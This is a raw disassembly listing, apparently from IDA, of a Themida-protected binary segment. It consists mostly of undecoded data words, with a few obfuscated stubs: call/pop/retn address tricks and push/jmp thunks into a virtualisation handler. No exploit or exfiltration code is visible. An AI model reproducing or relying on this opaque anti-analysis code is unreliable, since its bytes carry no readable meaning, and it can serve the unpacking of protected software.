		dd 1A254DF9h, 0DE3A2787h, 10C432E3h, 9F7A16D1h,	67B41FF0h
		dd 1D52BDCEh, 9ED33C54h, 255AB5D5h, 0A9DE315Ch,	647968ACh
		dd 0CAC1203Ch, 0FA9FACAh, 6A1Fh, 18773000h, 723664F7h
		dd 0FA8F51Ah, 0AE47947Bh, 0EAE12EE1h, 4F09A769h, 9A2DF887h
		dd 0BE0B0489h, 5AA76825h, 404FCAC1h, 5CC79ACFh,	0F51A760Fh
		dd 0FC137D36h, 0BBD36C69h, 1F6E0754h, 62B1BBF0h, 0F328E7A9h
		dd 0DFA88D20h, 832B60AFh, 0F5E4A97h, 0DFFE8007h, 0ABF80347h
		dd 83450CD1h, 0AF000000h, 5FE59F87h, 4F047DFh, 72791FDDh
		dd 8A8FFF1Ah, 35A00B04h, 0D70F1E8h, 0E309E9CFh,	830718ABh
		dd 0E8573038h, 192447DFh, 0C7C861AEh, 2B62FB48h, 8FFE97E4h
		dd 6DC989C2h, 0F45F7C55h, 71161E35h, 1247DF82h,	82DCABB3h
		dd 949F47DFh, 999629h, 13FC8E8Bh, 53A00BDEh, 4843D6BAh
		dd 96BF92C7h, 85441CB2h, 5C42F4Ch, 9CD13E4Ch, 6925A0C9h
		dd 104EA4D1h, 0A7E7807Dh, 3841B68h, 0EE000000h,	1F723422h
		dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh
		dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 53D4DB10h,	0C381E389h
		dd 4, 4BD55h, 0EB290000h, 241C875Dh, 0E789575Ch, 4C781h
		dd 0EF830000h, 243C8704h, 241C895Ch, 81E68956h,	4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 0CF682414h, 89000038h,	5AB82404h
		dd 89061949h, 8B5458C3h, 0C4812414h, 4,	51DF8957h, 4A89F989h
		dd 8B5F5908h, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 241C8B5Ch, 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h
		dd 0FFF932C9h, 0E97AB626h
		db 26h,	3, 0B1h
; ---------------------------------------------------------------------------


loc_5F0917:				; CODE XREF: Themida_:005F042Fj
		mov	eax, 6194DA1h
		add	eax, ebp


loc_5F091E:				; CODE XREF: Themida_:loc_5F042Aj
		mov	edx, ebx
		lea	ecx, [ebp+6194F0Fh]
		push	0
		push	ebp
		call	sub_5F0931
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F0931	proc near		; CODE XREF: Themida_:005F0929p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5F0931	endp

; ---------------------------------------------------------------------------
		db 20h,	5Ch, 47h
		dd 665187E5h, 0F99ECE81h, 0CD8D895Fh, 8B06122Dh, 1207F5BDh
		dd 0BD85C706h, 54061231h, 6A00005Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 660AC355h
		dd 0C7D426BBh, 12001185h, 6, 0F2816600h, 0B5FFC5A5h, 61232E5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 61C35141h
		dd 0BD297C3Bh, 6121AC9h, 278195FFh, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 5F3D36C3h
		dd 6ABE65h, 29D195FFh, 0C08B0612h, 16607CEBh, 0C7A05DC2h
		dd 0F2CA0ED7h, 105A13D7h, 0F3795A92h, 0B88AAD2Fh, 0EB0D9CD5h
		dd 0C94CA05Ch, 79C388C3h, 82AD57EAh, 0B37F40DBh, 48BAEEFCh
		dd 0AEB3D138h, 7AAE3508h, 681188B1h, 1411BC05h,	3EB3E122h
		dd 36808BA3h, 30D8131Dh, 0E9A5E1DCh, 0AAAD4FDFh, 0ACAECF6Ch
		dd 4892FEBAh, 5C51CD80h, 27CC0C06h, 0B55D49C1h,	846EFC33h
		dd 0A6BE7F55h, 4E7CD448h, 5D826738h, 76E6EFE0h,	0A7E91993h
		dd 0DD000000h, 750E5BB4h, 12ABF817h, 0B14A9778h, 4BE431DEh
		dd 9080CD42h, 4BC4C925h, 0E92665FEh, 828D039Ch,	1DF29C35h
		dd 9FA7F6D0h, 4DF8AEE8h, 26A7BE9Bh, 7C0EA5B0h, 7B396A93h
		dd 9D080785h, 1D72DC0Ah, 7009BDF2h, 7831F01Fh, 0F3C6FB14h
		dd 117B6360h, 0EC47DF60h, 47833887h, 3CE21D94h,	34A07247h
		dd 3C84780h, 32000000h,	1F723422h, 9CF2BBF0h, 1B753E73h
		dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h
		dd 0FF8D568Bh, 68D4DB10h, 6194F95h, 0F930D0E9h,	80D972FFh
		dd 24A8E974h, 684BD370h, 4E94ACFh, 62000000h, 0E9587729h
		dd 52Ah, 59A66928h, 0F643CCC0h,	95E22D5Dh, 2F7C93FCh, 0CB18F796h
		dd 7914DADBh, 0DBB04996h, 424EE734h, 0A7E780CDh, 0F2411B68h
		dd 0F8AF9DEAh, 0EA01DE4Dh, 0AFBCCBD3h, 0B4BF4DF8h, 1C72F321h
		dd 98F5BEF3h, 0FD912A77h, 7A14DD12h, 0F5976095h, 5C0F9A5Ch
		dd 50BB9CF9h, 0D738521Bh, 9B2D9A2h, 0DFA28601h,	7FEAF547h
		dd 0FAE76B4Ah, 3EA3B7E5h, 0D724EBA3h, 70BD523Eh, 9756B9D7h
		dd 49C6C780h, 0DFA2EE99h, 0EF828D47h, 602AE30Ah, 7EA77AAFh
		dd 0C0BEAA38h, 5061F4A7h, 0F79FD43Bh, 850BD60Bh, 0FE4ACB8Ah
		dd 8721F89Eh, 379F6A93h, 53B66157h, 642AC3C0h, 5C33ECABh
		dd 18AB7EB3h, 0BC731B33h, 0BB2747DFh, 0A3675F26h, 69B422BCh
		dd 6000000h, 0BEF31C72h, 63ACDE97h, 68C85B2Eh, 47DF6025h
		dd 0ADD60B77h, 5FF98E96h, 7F8A47DFh, 0FE077FECh, 1D422BCh
		dd 26000000h, 35371A72h, 0DFADC1B1h, 9E679C07h,	0A96221EEh
		dd 25F82DE2h, 0ABE4AD92h, 0DE0118A6h, 0B01BA899h, 10D1E57Bh
		dd 42CDBE77h, 21EE9EAFh, 0BC533BD4h, 7EB67CFDh,	9CD61840h
		dd 87BC533Bh, 6E2421B4h, 98A01B72h, 47DF5FEFh, 0E116818Ch
		dd 669B7418h, 3DE0387h,	9F38858Ah, 22EB20EFh, 0A972A768h
		dd 2EF72CE3h, 0EB7CB15Eh, 0C43ADFBCh, 0F579F0F5h, 90CFF7ECh
		dd 0C457B8D7h, 0D2226978h, 6722BC60h, 90h, 0F41B72B9h
		dd 8594F6BFh, 917E0E0Bh, 0B31E895Ch, 0DD4E87Eh,	4AC5CB84h
		dd 0A9E14215h, 0CBC2D366h, 99CE414Eh, 750E5BC6h, 91273918h
		dd 3C1082CFh, 0B386BB54h, 0DFA8DD48h, 1FA05FB0h, 9A2F25C7h
		dd 84D95CA1h, 41DBB2DBh, 0D16146D9h, 1D652CB5h,	0AA22BC14h
		dd 66h,	0F41B72FCh, 7F9AF6BFh, 99144011h, 0CE36E6E2h, 0F05B2E63h
		dd 677ABEBBh, 0E42B651Eh, 3C6A1D25h, 0E1947E0h,	0EC236A7Bh
		dd 0F41B742Dh, 8EC3ECBFh, 245B689Bh, 13C9C659h,	8DFF1A72h
		dd 0F7A4D82h, 56313950h, 5C47DF5Fh, 3A45DD32h, 2459B6D9h
		dd 0C1D9BE51h, 47DF5FCDh, 98061CDh, 22BCFE89h, 15Eh, 5B14B000h
		dd 3748DB34h, 0BE87BC53h, 410A3FD0h, 0C48DC24Dh, 491247C8h
		dd 0C295CA45h, 0E3F8E92Dh, 0BF2AB7A3h, 0F744CBh, 7E20787Fh
		dd 0A336D47Eh, 21E0C5CEh, 54E72868h, 7915CEE5h,	0F8986196h
		dd 0A40FE217h, 90C54A43h, 34CA2ABDh, 1349F1FEh,	0B5DBACB4h
		dd 49A84DF1h, 0F1B54641h, 0BF2A354Dh, 3FF81F54h, 0BA8DC24Dh
		dd 97781627h, 32DDB14Ah, 0B5A8E5FDh, 9EE24DF1h,	0D5E6A843h
		dd 0F1B5BACDh, 53BEC94Dh, 0EE216D06h, 951192B9h, 0FCB461B0h
		dd 218C830Ah, 0FE117D8Eh, 7B66EAC9h, 0DE315912h, 3243D6A9h
		dd 7166B35Ch, 24AE5D11h, 121C6h, 8256D700h, 0DB0C74CCh
		dd 0AEE715A8h, 0EA01C0A5h, 523EA469h, 53E6B9CEh, 0F1D72FF3h
		dd 0BEF3FE49h, 0B77699F5h, 4E838CFEh, 52EBE87Bh, 0D59ED33Ch
		dd 8DFA02B9h, 0EE4DF1D8h, 0AC654A25h, 0A61136A3h, 90C54A45h
		dd 3E1D52BDh, 0D2BC27BAh, 3CA6E1E9h, 0CAD54DF2h, 41B125Fh
		dd 1ACA454Bh, 4DF23C6Dh, 370030Eh, 24AE2383h, 4958h, 0A4AEAA00h
		dd 6FF800BFh, 8CC7DF5Fh, 53344C81h, 6BC7DF5Eh, 0E0612AB7h
		dd 0ED9F131Fh, 9E0DF922h, 353F14A7h, 71DC335Ah,	0A3BDAAB2h
		dd 0DE9747DEh, 0EC236CADh, 0E6794C81h, 0AF46939Eh, 76h
		dd 0EE6B57D8h, 0A96AA8Bh, 0A5AE4977h, 55F901C0h, 8949F181h
		dd 0E7790F08h, 0B346836Eh, 0E8A1606Bh, 613469A6h, 6E20E9CEh
		dd 0D3BB54A1h, 9DEF073Ch, 934DF188h, 3757924Fh,	252E8BD8h
		dd 55798140h, 0B05008DAh, 0DA3E4951h, 323D47EAh, 0B26B92C7h
		dd 90A134DBh, 0C03253FEh, 3BE679C4h, 0ED13747Ch, 657047EAh
		dd 311DC5FAh, 796871B0h, 3D1CB2BAh, 606B4A02h, 0FD145D13h
		dd 0DF5F92F5h, 53E6F147h, 0D190757Eh, 0F6B005C9h, 0C0F50049h
		dd 0B97897F7h, 0F6B10038h, 0E8A7E317h, 2C29BC27h, 5514FB93h
		dd 0E851363Eh, 27324DF8h, 0C997AF94h, 9EE7C75Bh, 28C578Ah
		dd 6727C00Dh, 553B4C54h, 3D48A057h, 629213D2h, 0FEB894DEh
		dd 5D8469FCh, 5932E7A4h, 43164BB6h, 1FF09FB0h, 7A3342EAh
		dd 1B67FA15h, 9C731BC6h, 37D8B64Fh, 0BCC4DB02h,	0A05704CBh
		dd 3BD4B7B8h, 9C83306h,	57048601h, 57EAF5A0h, 348h, 3422B200h
		dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch
		dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh, 7BC868D4h
		dd 4890000h, 0B7E6824h,	34890000h, 0E6895624h, 4C681h
		dd 0EE830000h, 24348704h, 241C895Ch, 19504A68h,	24348B06h
		dd 5404C483h, 83241C8Bh, 0EC8104C4h, 4,	8F243489h, 1C8B0843h
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5E2434FFh
		dd 4C481h, 92E90000h, 1BFFF92Bh, 14622C3h, 7B88C80h, 3061955h
		dd 0D1E0FFC5h, 0D57CDDCEh, 0CB6570D9h, 0CB2CC153h, 0B1104D71h
		dd 0F74A10Bh, 0D727BDA3h, 86129ED1h, 0CB7AA4D8h, 22255CC0h
		dd 3E5D9E98h, 9C52FB61h, 2C22CBAFh, 0D172EEA1h,	7F7B6BECh
		dd 0DA578A73h, 931CF58Ch, 0FD4E7C14h, 564F2EFh,	8D69C015h
		dd 1956828Dh, 46D78106h, 0F96B7FF9h, 2DCD8D89h,	6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0DA8DBAC3h, 27D97379h, 0C773C204h, 1231BD85h, 6CEC06h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 7793D43Dh, 0C7F50F91h, 12001185h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0F0125F74h, 0B48032E3h, 0A5B5FF74h, 0E9061229h, 0Ah
		dd 595AF29Fh
		dd 59783F6Eh, 95FFCCFCh, 6122781h, 8AD1B70Fh, 0FF006ADAh
		dd 1229D195h, 0EBC08B06h, 94AD295Ch, 140C4E68h,	0C999F4FFh
		dd 29795056h, 37E7AC31h, 88E994ECh, 0A69C1839h,	859DF1CEh
		dd 6D96080h, 9DFC98A7h,	0DBBD9022h, 0CCD36315h,	59CBB35Ch
		dd 0F186BD9Dh, 692BB5C5h, 4979305Bh, 539D5F25h,	42E568F1h
		dd 0F63EBC7Ch, 2A8D0AE9h, 4B8516FDh, 546A8DCAh,	87F8CB84h
		dd 0EE8D6h, 7AB80000h, 3039309Bh, 93612477h, 0F2767772h
		dd 8FA7CDBAh, 8B665868h, 0E5C081D7h, 81000061h,	2F711CDAh
		dd 18506806h, 8D010000h, 61215D5h, 7E85Eh, 9EE90000h, 3084ABFCh
		dd 0BE950E8h, 53000000h, 0CC1CDF00h, 0AA9EAF57h, 595AFD7Fh
		dd 816630FFh, 5FE620EAh, 473EF281h, 0C7817E68h,	2C65C13Ch
		dd 38F0Fh, 0E7800000h, 5FC781ADh, 665CA232h, 0D0D0EA81h
		dd 9C6AC781h, 8E9528Ch,	0E9000000h, 0A4B813FDh,	893A3D33h
		dd 0E18D3338h, 83061221h, 0C28004E8h, 1EE8122h,	0F000000h
		dd 0FFFFAB85h, 0E18531FFh, 0E8061203h, 0Eh, 15E8E865h
		dd 0B9CFAD92h, 1D8C9BB6h, 8B5733A1h, 1226DDBDh,	0F595F06h
		dd 0C181F1BFh, 631Eh, 189B68F9h, 8B500000h, 1230F5B5h
		dd 66585A06h, 19E8DF81h, 9D89198Bh, 61211D9h, 7C53C381h
		dd 0BD01788Fh, 61224A9h, 8EDCC381h, 81661290h, 810ABAD2h
		dd 96773AC3h, 0CE913h, 79100000h, 0E0D2A969h, 383034CAh
		dd 19893A69h, 1C65BD89h, 0E9810612h, 4FCBA5C9h,	81F18B66h
		dd 0CBA5C5C1h, 195314Fh, 8306121Dh, 850F01E8h, 18h, 1479958Bh
		dd 1BE90612h, 0D2000000h, 0BFFD9D19h, 8AEC0D4Fh, 0C500B961h
		dd 0E9D6B70Fh, 0FFFFFF84h, 32394290h, 0CAFEB9AEh, 0A80EB614h
		dd 8A4A3EEBh, 0A80EB753h, 75EAD5ABh, 0A80EB72Bh, 8A4A3F91h
		dd 57AE5DBAh, 8A4A3C4Eh, 0A80EB41Bh, 75EAD5ABh,	0A80EB4E2h
		dd 8A4A3CBCh, 0A80EB56Ch, 8A4A3D3Eh, 0A80EB5E6h, 75EAD5ABh
		dd 0DFD42F25h, 313330Dh, 0B109ECC0h, 6F90A752h,	2157BB1Ch
		dd 934D78D1h, 94D42F43h, 313330Eh, 0B109F4C0h, 1E90A752h
		dd 2157BB1Fh, 934D74D1h, 43D42F43h, 313330Eh, 0B109C0C0h
		dd 0CA90A752h, 2157BB1Eh, 934D40D1h, 2CD42F43h,	313330Fh
		dd 0B109CCC0h, 4790A752h, 2157BB1Eh, 934D5CD1h,	0A6D42F43h
		dd 3133308h, 0B109D8C0h, 0C590A752h, 2157BB19h,	934D54D1h
		dd 38D42F43h, 3133308h,	0B10920C0h, 4390A752h, 2157BB19h
		dd 934DACD1h, 12B8C343h, 0DF152A50h, 6CD24ECEh,	8AFD4AA8h
		dd 0F251A245h, 0D324C0D5h, 0ED96A45Ch, 8A152AA8h, 0A0242945h
		dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh
		dd 3AAE63CEh, 8C070CB1h, 0AB534284h, 0FFEA2211h, 0A4245D55h
		dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h
		dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h
		dd 27BFEA66h, 0B7DB2FEEh, 75133369h, 2011294h, 0B70AA0D9h
		dd 79AEA45Ch, 0AE51A1ECh, 22DC0941h, 8C0C174Bh,	103773BAh
		dd 21732ADFh, 954E28C8h, 5BEA2C4Dh, 8C152BFDh, 988150h
		dd 0AE489F5Ah, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0D3E4C0D5h
		dd 0DDDAA45Ch, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 0BDA830BAh
		dd 529E2C46h, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 0B70AA0D9h
		dd 79AEA45Ch, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8A15C234h
		dd 290BA245h, 934F62BEh, 0A0242943h, 4D1957DFh,	0A8515E00h
		dd 75532A54h, 0BA445BD7h, 19CDA152h, 9BFC69CEh,	0E2A5B997h
		dd 0F9FA31EFh, 0B70AA0D9h, 79AEA45Ch, 20949A0Dh, 8C651A23h
		dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h
		dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h
		dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h,	2851A245h
		dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h
		dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh,	0ED96AE38h
		dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch
		dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h
		dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh
		dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
		dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh,	85E1D4h
		dd 22DC0886h, 8C0C174Bh, 0F8E173BAh, 959FA7FEh,	5757BB78h
		dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h
		dd 75152A54h, 0BA7747D7h, 20452652h, 954E28C8h,	5BEA2C4Dh
		dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h
		dd 0A42C294Dh, 8AE96F93h, 451A245h, 7387D5FEh, 2357B050h
		dd 4917868Ch, 0B7DB2FEFh, 75133369h, 28E9C494h,	0BE4CBDh
		dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh,	2BBD2910h
		dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h,	18EA80F8h
		dd 0AE43B7BCh, 58B9E2DFh, 32DC0885h, 8C0C174Bh,	103771BAh
		dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h
		dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
		dd 75BF8654h, 0BA445BD7h, 26DDA152h, 25FB6377h,	932835CEh
		dd 0CE825D43h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h
		dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h,	4D1957DFh
		dd 0A8515E00h, 32732A54h, 3376B77h, 0B70AB0D9h,	7BAEA45Ch
		dd 4B959232h, 4FD0923h,	866801FEh, 0C9ADDFCCh, 43E96FDFh
		dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h
		dd 0EC152A54h, 0CEB824FDh, 958FA7FFh, 5757BB78h, 20A09A87h
		dd 25FB0E03h, 932835CEh, 0CE825D43h, 0ECD8ACECh, 0A42C89EEh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 0D70CC0D5h, 0ED96A45Ch, 8A152AA8h, 0A0242945h
		dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h
		dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h
		dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh,	8660D554h
		dd 2559D7BAh, 934D64CEh, 32DCF143h, 8C0C7371h, 0EDD871BAh
		dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 0F00F38C8h, 7462C4Dh
		dd 0B10887DFh, 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h
		dd 0E08FA75Ch, 0FB57BB1Dh, 0D330B0D9h, 7BAEA45Ch, 63E96FDDh
		dd 0A851A258h, 75195FABh, 32DCAA30h, 8C0C7222h,	8DCB2F16h
		dd 7513330Dh, 54142B96h, 8A152ABDh, 0EDDAC345h,	82D7E3A8h
		dd 3044BA45h, 9D8D0000h, 6123459h, 23E4B8h, 1858900h, 0E8061223h
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5F3CC5
; ---------------------------------------------------------------------------
		align 4
		dd 8F8h	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5F3CC5:				; CODE XREF: Themida_:005F18DCj
		jmp	loc_5F3CF4
; ---------------------------------------------------------------------------
		dw 840Dh
		dd 310Fh, 9 dup(0)
; ---------------------------------------------------------------------------


loc_5F3CF4:				; CODE XREF: Themida_:loc_5F3CC5j
		jmp	loc_5F4A5F
; ---------------------------------------------------------------------------
		push	61983E9h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61984D6h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61985AAh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6198665h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6198A0Eh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6198CBAh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6198DB6h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		db 0Dh
		dd 0A53E8B84h, 42DB28E7h, 0E17AC748h, 7B1461AEh, 0C0B0FD12h
		dd 7B94F9F5h, 19F6952Eh, 0B25D33CCh, 4DC2CC65h,	0CFD72600h
		dd 4DF8E1B8h, 7218EECBh, 0F6BFF41Bh, 0CB28759Ah, 0FD14D3C2h
		dd 69714A44h, 47DF601Eh, 54E7525Dh, 0F18FBEF4h,	0A3ABC249h
		dd 4DF18FE4h, 0B1F98C97h, 325971A6h, 0C14DF190h, 7D553CA5h
		dd 0AA24AED2h, 32h, 0C0A5AEFCh,	20F38001h, 0BCFEF803h
		dd 0F0B2BA29h, 0BF49F231h, 0D7587FB4h, 29B7FE3Fh, 98F88B38h
		dd 4DF23DF3h, 96FDE400h, 24AE203Eh, 7EBh, 8E743D00h, 0DE000008h
		dd 0BEF31C72h, 0B77699F5h, 5FEF98A0h, 818C47DFh, 8B94F1EEh
		dd 0AFDFE7A6h, 0D649F18Ch, 0C3C0330Dh, 2590A224h, 0A7B3D8F0h
		dd 89074DF1h, 4885186h,	95D9D60Bh, 536F974Ch, 0AA9FF78Eh
		dd 324C24AEh, 5D000000h, 60272F46h, 234DF1AFh, 0B01F6818h
		dd 515C4DF1h, 0A5AE90BEh, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh
		dd 484DF180h, 0E6DEB52Ch, 3324AEDFh, 0A4h, 0F31C7285h
		dd 7798F5BEh, 0FA157942h, 7D92FCC5h, 5B234830h,	375747DFh
		dd 0DB948BD8h, 0B7C85BB4h, 760338D7h, 0C1C9886Dh, 49F16519h
		dd 352C7984h, 0B5F941B4h, 720515AFh, 0EEAD949Dh, 0CFB8C0D7h
		dd 0AC4DF21Bh, 0D8AE0EA1h, 9F5004BEh, 711CD594h, 435A519Eh
		dd 0E5704C3Bh, 91242F47h, 83020D80h, 0EDBFC667h, 7F46EBh
		dd 8900000Bh, 21BA0708h, 0BE57A46Bh, 5DF643CCh,	0F790DD32h
		dd 3C2C7996h, 0F7187579h
		db 0AAh, 11h, 7Ah
byte_5F3EDF	db 95h			; DATA XREF: Themida_:loc_5A4DCCo
dword_5F3EE0	dd 2EE1AF48h, 0C94648E1h, 4B53A27Ch, 4DF8E33Ch,	728C623Fh
					; DATA XREF: Themida_:00595F27o
		dd 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h, 6E2D3849h
		dd 0B976DBB5h, 0C1BD3D45h, 8E578CF7h, 46A712FDh, 4D32C54Ah
		dd 0F1C75635h, 60819D4Dh, 0AE96A929h, 38581124h, 0B64244D7h
		dd 94000000h, 34F31C72h, 0F069C1Dh, 0F9D9BBF0h,	0DFE03E49h
		dd 9F323D47h, 7D9CF1BAh, 5C91FC13h, 0DFDB2744h,	0D43B5347h
		dd 6FA0EE87h, 69A4AD3Ah, 0DFE42661h, 0DF4A5547h, 86010920h
		dd 0F547DFE3h, 0C082C1EAh, 36757E74h, 0AE2C34A3h, 1949F17Ch
		dd 76D5B2BAh, 9BA64DF1h, 7D86E330h, 0C2D1D998h,	0B1500418h
		dd 5F2EE7A6h, 0C3CA63B0h, 0DAF11C8Eh, 0B31E9396h, 0BFED2E34h
		dd 581FC4EDh, 0A13h, 0CD1AF59Ch, 6AB75834h, 956B9D1h, 0A3F01F70h
		dd 3F8C830Ah, 588664Fh,	6724BD0Ah, 0CEC25BA8h, 335BF441h
		dd 66B58FDCh, 0F8E4295Eh, 0A77D5A4Dh, 0A7F41B72h, 428F800Eh
		dd 0F31C728Ch, 7699F5BEh, 9A1B3229h, 5D0114F5h,	0E0A757BEh
		dd 0A347DFC4h, 371D0598h, 0C180656Eh, 0F1DA95B9h, 8991F049h
		dd 4DF1CFFEh, 0A038D7B4h, 0F9D92A95h, 0B414FE73h, 62211019h
		dd 0F82DE2A9h, 1B239225h, 0F9C8CE73h, 0DCABB312h, 0EF1A4D0h
		dd 0A9925464h, 68730BACh, 9853EFDh, 8608D106h, 16815489h
		dd 8119E83h, 5548A15Bh,	57C251F2h, 0D2859098h, 6772F3B8h
		dd 709FEFA8h, 26AB2C23h, 0A3F9D05Ch, 331781FDh,	44D2700Ah
		dd 21EEA0B1h, 69AE6AA2h, 7C43E842h, 93Fh, 0F946C9C8h, 96E32C60h
		dd 35828DFDh, 0CF1CF39Ch, 6BB85736h, 0D9B43A7Bh, 3B50E936h
		dd 0A2EE87D4h, 787206Dh, 92E1BB08h, 0F8E4FD8Ah,	0CBA17E4Dh
		dd 34F31C72h, 5F72151Dh, 481147DFh, 45DE4D18h, 71046F80h
		dd 0FF6FF8Ch, 0CA3CCF50h, 6A6A4ABAh, 726068D7h,	5D49F197h
		dd 0B0DA9352h, 0C4572A5Fh, 5DF49C55h, 0A1DC8E1Ah, 5BA813FBh
		dd 424BCEC2h, 9050660Fh, 0C8335F81h, 0F901C093h, 4DF1658Eh
		dd 4277E2EDh, 0F1655D2Ah, 7585064Dh, 68714DF1h,	22A3BA79h
		dd 0B869518Dh, 969FC33h, 500455E5h, 79A0D5E0h, 6AC38CF8h
		dd 20B31D01h, 11907F0Fh, 0EDB914F7h, 840FD67Bh,	0D000008h
		dd 0A53E8B84h, 42DB28E7h, 0E17AC748h, 7B1461AEh, 0C0B0FD12h
		dd 7B94F9F5h, 19F6952Eh, 0B25D33CCh, 4DC2CC65h,	0CFD72600h
		dd 4DF8E5B8h, 1418EECBh, 0A8DD325Bh, 646D42D5h,	3200C4BFh
		dd 59C47EF0h, 0A15C929Ah, 8B4449F1h, 97781405h,	91248F62h
		dd 0E2093E49h, 74A96629h, 8FFD0EA1h, 833C3380h,	5E6F020Dh
		dd 1FACE12Eh, 0B9CED613h, 0CA4DF160h, 8D9554BFh, 4DF16142h
		dd 0C6F5E8B1h, 0CF36E501h, 9B872F64h, 0A843D46h, 29E6A405h
		dd 7D8E21F4h, 89860A0Fh, 57168154h, 0E91EF19Eh,	9E868316h
		dd 4DF23CEDh, 5918FD09h, 0F23D5251h, 0C813A4Dh,	1D287003h
		dd 0BA5537D0h, 3C266D85h, 46444DF2h, 0BFCB94C9h, 0ECF41B50h
		dd 4DF23C9Bh, 0B19DDDE8h, 5C6BAB30h, 0ED22EDA3h, 0A63B871Ah
		dd 0C5C8513Bh, 1DE7D98Ch, 0AC17F99Dh, 0EC39A477h, 0AAE03953h
		dd 0A59951A7h, 0C9342B80h, 2156C194h, 0F231F209h, 8788084Dh
		dd 9068952h, 4E93D7D4h,	0DD12FD93h, 735F9F0Ah, 0F619736Eh
		dd 939BB2A9h, 4DF231F4h, 322F5860h, 414C4DF2h, 360B9EA9h
		dd 7A82412Ah, 4DF23214h, 1B336873h, 0E1D18DCBh,	0FA934E6Ah
		dd 91C64941h, 0C6BE2BBEh, 0A650CF54h, 0D96CA3EDh, 1DCD7h
		dd 0A5AE2900h, 0E2EA01C0h, 47DF5FA5h, 0C938CBD6h, 0F17151C1h
		dd 2E5C1549h, 0FB064EE1h, 0B00B833Ch, 0F17ADFA8h, 4ED39C4Dh
		dd 747FA85Dh, 125FCA35h, 0C5FA1579h, 961C40ADh,	430E7ECEh
